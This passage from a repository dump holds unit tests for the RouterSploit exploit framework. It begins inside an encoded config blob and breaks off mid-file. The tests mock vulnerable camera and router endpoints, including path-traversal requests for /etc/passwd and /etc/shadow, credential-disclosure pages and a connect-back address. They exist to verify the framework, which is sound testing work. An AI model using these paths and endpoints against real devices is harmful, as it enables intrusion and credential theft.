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\")\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(content)\n    resp.headers[\"Server\"] = \"GoAhead-Webs\"\n    resp.headers[\"Content-type\"] = \"application/octet-stream\"\n    resp.headers[\"Content-Transfer-Encoding\"] = \"binary\"\n    resp.headers[\"Content-Disposition\"] = \"attachment; filename=\\\"Config.CFG\\\"\"\n    return resp, 200\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/frame/GetConfig\", methods=[\"GET\", \"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/honeywell/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/honeywell/test_hicc_1100pt_password_disclosure.py",
    "content": "from routersploit.modules.exploits.cameras.honeywell.hicc_1100pt_password_disclosure import Exploit\n\n\ndef test_success(target):\n    \"\"\" Test scenario: successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/readfile.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'var Adm_ID=\"admin\";'\n        'var Adm_Pass1=\"admin\";'\n        'var Adm_Pass2=\"admin\";'\n        'var Language=\"en\";'\n        'var Logoff_Time=\"0\";'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/jovision/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/jovision/test_jovision_camera_credential_disclosure.py",
    "content": "from flask import Response\nfrom routersploit.modules.exploits.cameras.jovision.jovision_credentials_disclosure import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    response = (\n        \"\"\"\n        [{\n            \"nIndex\":\t0,\n            \"acID\":\t\"admin\",\n            \"acPW\":\t\"admin1234\",\n            \"acDescript\":\t\"admin account\",\n            \"nPower\":\t20\n        }]\n        \"\"\"\n    )\n    resp = Response(response, status=200)\n    resp.headers['Content-Type'] = 'application/json'\n    return resp\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\n        \"/cgi-bin/jvsweb.cgi\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/multi/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/multi/test_cctv_dvr_rce.py",
    "content": "\nfrom unittest import mock\nfrom routersploit.modules.exploits.routers.cisco.rv320_command_injection import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.cameras.multi.cctv_dvr_rce\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/../../../../../../../mnt/mtd/test\", methods=[\"GET\"])\n    route_mock1.return_value = (\n        \"TEST\"\n    )\n\n    route_mock2 = target.get_route_mock(\"/language/Swedish\", methods=[\"GET\"])\n    route_mock2.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.connback = \"192.168.100.1:5555\"\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/multi/test_dvr_creds_disclosure.py",
    "content": "from routersploit.modules.exploits.cameras.multi.dvr_creds_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/device.rsp\", methods=[\"GET\"])\n    route_mock.return_value = (\"\"\"{\"result\":0,\"list\":[{\"uid\":\"admin\",\"pwd\":\"admin\",\"role\":2,\"enmac\":0,\"mac\":\"00:00:00:00:00:00\",\"playback\":4294967295,\"view\":4294967295,\"rview\":4294967295,\"ptz\":4294967295,\"backup\":4294967295,\"opt\":4294967295},{\"uid\":\"test\",\"pwd\":\"test\",\"role\":3,\"enmac\":0,\"mac\":\"00:11:22:33:44:55\",\"playback\":65535,\"view\":0,\"rview\":65535,\"ptz\":0,\"backup\":65535,\"opt\":62437}]}\"\"\")\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/multi/test_jvc_vanderbilt_honeywell_path_traversal.py",
    "content": "from routersploit.modules.exploits.cameras.multi.jvc_vanderbilt_honeywell_path_traversal import Exploit\n\n\ndef test_check_v1_success(target):\n    \"\"\" Test scenario - successful check via method 1 \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/check.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef test_check_v2_success(target):\n    \"\"\" Test scenario - successful check via method 2 \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/chklogin.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/multi/test_netwave_ip_camera_information_disclosure.py",
    "content": "from routersploit.modules.exploits.cameras.multi.netwave_ip_camera_information_disclosure import Exploit\n\n\ndef test_check_v2_success(target):\n    \"\"\" Test scenario - successful check via method 2 \"\"\"\n\n    route_mock = target.get_route_mock(\"/get_status.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"var id='E8ABFA1BC72F';\"\n        \"var sys_ver='17.37.2.49';\"\n        \"var app_ver='20.8.1.166';\"\n        \"var alias='Camera';\"\n        \"var now=1509798733;\"\n        \"var tz=0;\"\n        \"var alarm_status=0;\"\n        \"var ddns_status=40;\"\n        \"var ddns_host='/vipddns/upgengxin.asp';\"\n        \"var oray_type=0;\"\n        \"var upnp_status=1;\"\n        \"var p2p_status=0;\"\n        \"var p2p_local_port=26296;\"\n        \"var msn_status=0;\"\n        \"var wifi_status=1;\"\n        \"var temperature=0.0;\"\n        \"var humidity=0;\"\n        \"var tridro_error='';\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/mvpower/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/mvpower/test_dvr_jaws_rce.py",
    "content": "import re\nfrom unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    cmd = request.query_string\n    res = re.findall(b\"echo%20(.+)\", cmd)\n\n    if res:\n        return str(res[0], \"utf-8\"), 200\n\n    return \"WRONG\", 200\n\n\n@mock.patch(\"routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/shell\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/siemens/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/siemens/test_cvms2025_credentials_disclosure.py",
    "content": "from routersploit.modules.exploits.cameras.siemens.cvms2025_credentials_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/readfile.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'Adm_ID=\"admin\"'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/xiongmai/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/xiongmai/test_uc_httpd_path_traversal.py",
    "content": "from routersploit.modules.exploits.cameras.xiongmai.uc_httpd_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/../../../../../etc/passwd\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:absxcfbgXtb3o:0:0:root:/:/bin/sh\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/passwd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/misc/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/misc/asus/test_b1m_projector_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.misc.asus.b1m_projector_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.misc.asus.b1m_projector_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/apply.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/misc/miele/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/misc/miele/test_pg8528_path_traversal.py",
    "content": "from routersploit.modules.exploits.misc.miele.pg8528_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/../../../../../../../../../../../../etc/shadow\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/misc/wepresent/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/misc/wepresent/test_wipg1000_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.misc.wepresent.wipg1000_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.misc.wepresent.wipg1000_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/cgi-bin/rdfs.cgi\", methods=[\"GET\"])\n    cgi_mock.return_value = (\n        'test'\n        'Follow administrator instructions to enter the complete path'\n        'test'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/2wire/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/2wire/test_4011g_5012nv_path_traversal.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.2wire.4011g_5012nv_path_traversal\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/goform/enhAuthHandler\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/passwd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/2wire/test_gateway_auth_bypass.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.2wire.gateway_auth_bypass\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/\", methods=[\"GET\"])\n    route_mock1.return_value = (\n        \"TEST\"\n        \"<form name=\\\"pagepost\\\" method=\\\"post\\\" action=\\\"/xslt?PAGE=WRA01_POST&amp;NEXTPAGE=WRA01_POST\\\" id=\\\"pagepost\\\">\"\n        \"TEST\"\n    )\n\n    route_mock2 = target.get_route_mock(\"/xslt\", methods=[\"GET\"])\n    route_mock2.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/3com/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/3com/test_ap8760_password_disclosure.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.3com.ap8760_password_disclosure\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/s_brief.htm\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"<input type=\\\"text\\\" name=\\\"szUsername\\\" size=16 value=\\\"admin\\\">\"\n        \"<input type=\\\"password\\\" name=\\\"szPassword\\\" size=16 maxlength=\\\"16\\\" value=\\\"admin\\\">\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/3com/test_imc_info_disclosure.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.3com.imc_info_disclosure\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/imc/reportscript/sqlserver/deploypara.properties\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"report.db.server.name=ABCD\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/3com/test_imc_path_traversal.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.3com.imc_path_traversal\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/imc/report/DownloadReportSource\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"[fonts]\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n    assert exploit.filename == \"\\\\windows\\\\win.ini\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/3com/test_officeconnect_info_disclosure.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.3com.officeconnect_info_disclosure\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/SaveCfgFile.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"pppoe_username=admin\"\n        \"pppoe_password=admin\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/3com/test_officeconnect_rce.py",
    "content": "from unittest import mock\nfrom routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.3com.officeconnect_rce\")\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.3com.officeconnect_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/utility.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n    assert exploit.execute(\"uname -a\") == \"\"\n"
  },
  {
    "path": "tests/exploits/routers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/asmax/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/asmax/test_ar_1004g_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.asmax.ar_1004g_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/password.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"pwdAdmin = 'admin_password';\"\n        \"pwdSupport = 'support_password';\"\n        \"pwdUser = 'user_password';\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/asmax/test_ar_804_gu_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.asmax.ar_804_gu_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.asmax.ar_804_gu_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/script\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        